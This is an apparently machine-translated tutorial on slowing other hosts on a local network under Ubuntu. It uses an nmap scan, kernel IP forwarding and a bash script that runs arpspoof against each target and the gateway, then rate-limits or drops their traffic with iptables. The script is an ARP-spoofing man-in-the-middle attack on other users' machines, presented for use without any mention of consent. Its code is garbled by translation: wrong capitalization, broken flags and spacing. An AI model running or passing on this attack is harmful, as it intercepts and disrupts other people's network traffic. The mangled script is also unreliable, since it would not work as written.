How to limit the speed of local area network under Ubuntu
This article mainly explains "how to limit LAN network speed under Ubuntu". The content in the article is simple and clear, and it is easy to learn and understand. Please follow the editor's train of thought to study and learn "how to limit LAN network speed under Ubuntu".
In order to limit the speed of Internet access on wireless routers and reduce the impact of P2P tools
The Internet speed of the local area network can be limited by arp spoofing and iptables.
Operating system: Ubuntu
1) sudo apt-get install dsniff nmap
2) probe the ip address of the LAN host
The code is as follows:
Sudo nmap-ss Gateway ip/24
In this example:
192.168.1.100 is the main engine with speed limit.
192.168.1.1 is the gateway address
3) turn on the IP forwarding of the kernel to make our host a router
The code is as follows:
Echo 1 > / proc/sys/net/ipv4/ip_forward
4) use iptables and arpspoof for speed limit! The script is as follows
Mode of use:
Sudo. / iptable.sh Speed limit (30 is 40k/s) Gateway ip speed limit host 1 speed limit host 2
The code is as follows:
#! / bin/bash
If [$#-le 2]
Then
Echo "Usage:. / iptables.sh speed gateway ip1 ip2...."
Exit-1
Else
Speed=$1
Gateway=$2
Fi
IPT=/sbin/iptables
While [$#-gt 2]
Do
Shift
Echo $gateway,$2
Arpspoof-I eth0-t $2$ gateway&
Arpspoof-I eth0-t $gateway $2 &
$IPT-A FORWARD-s $2-m limit-- limit ${speed} / s-j accept
$IPT-A FORWARD-d $2-m limit-- limit ${speed} / s-j ACCEPT
$IPT-A FORWARD-s $2-j DROP
$IPT-A FORWARD-d $2-j DROP
Done
Thank you for reading, the above is the content of "how to limit LAN network speed under Ubuntu". After the study of this article, I believe you have a deeper understanding of how to limit LAN network speed under Ubuntu, and the specific use needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!